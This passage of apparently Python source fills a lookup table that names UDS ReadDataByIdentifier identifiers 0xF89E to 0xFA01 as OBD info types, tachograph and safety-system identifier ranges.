UDS_RDBI.dataIdentifiers[0xf89e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8aa] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ab] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ac] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ad] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ae] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8af] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ba] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8be] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bf] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ca] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ce] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cf] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8da] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8db] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8dc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8dd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8de] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8df] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ea] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8eb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ec] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ed] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ee] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ef] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fa] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fe] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ff] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf900] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf901] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf902] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf903] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf904] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf905] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf906] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf907] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf908] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf909] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf910] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf911] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf912] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf913] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf914] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf915] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf916] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf917] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf918] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf919] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf920] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf921] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf922] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf923] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf924] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf925] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf926] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf927] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf928] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf929] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf930] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf931] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf932] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf933] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf934] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf935] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf936] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf937] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf938] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf939] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf940] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf941] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf942] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf943] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf944] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf945] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf946] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf947] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf948] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf949] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf950] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf951] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf952] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf953] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf954] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf955] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf956] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf957] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf958] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf959] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf960] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf961] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf962] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf963] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf964] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf965] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf966] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf967] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf968] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf969] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf970] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf971] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf972] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf973] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf974] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf975] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf976] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf977] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf978] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf979] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf980] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf981] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf982] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf983] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf984] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf985] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf986] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf987] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf988] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf989] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf990] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf991] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf992] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf993] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf994] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf995] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf996] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf997] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf998] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf999] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf99f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9a9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9aa] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ab] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ac] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ad] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ae] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9af] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9b9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ba] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9bb] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9bc] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9bd] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9be] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9bf] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9c9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ca] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9cb] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9cc] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9cd] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ce] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9cf] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9d9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9da] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9db] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9dc] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9dd] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9de] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9df] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9e9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ea] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9eb] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ec] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ed] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ee] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ef] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f0] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f1] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f2] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f3] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f4] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f5] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f6] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f7] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f8] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9f9] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9fa] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9fb] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9fc] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9fd] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9fe] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf9ff] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xfa00] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa01] = "safetySystemPIds_FA00_FAFF" 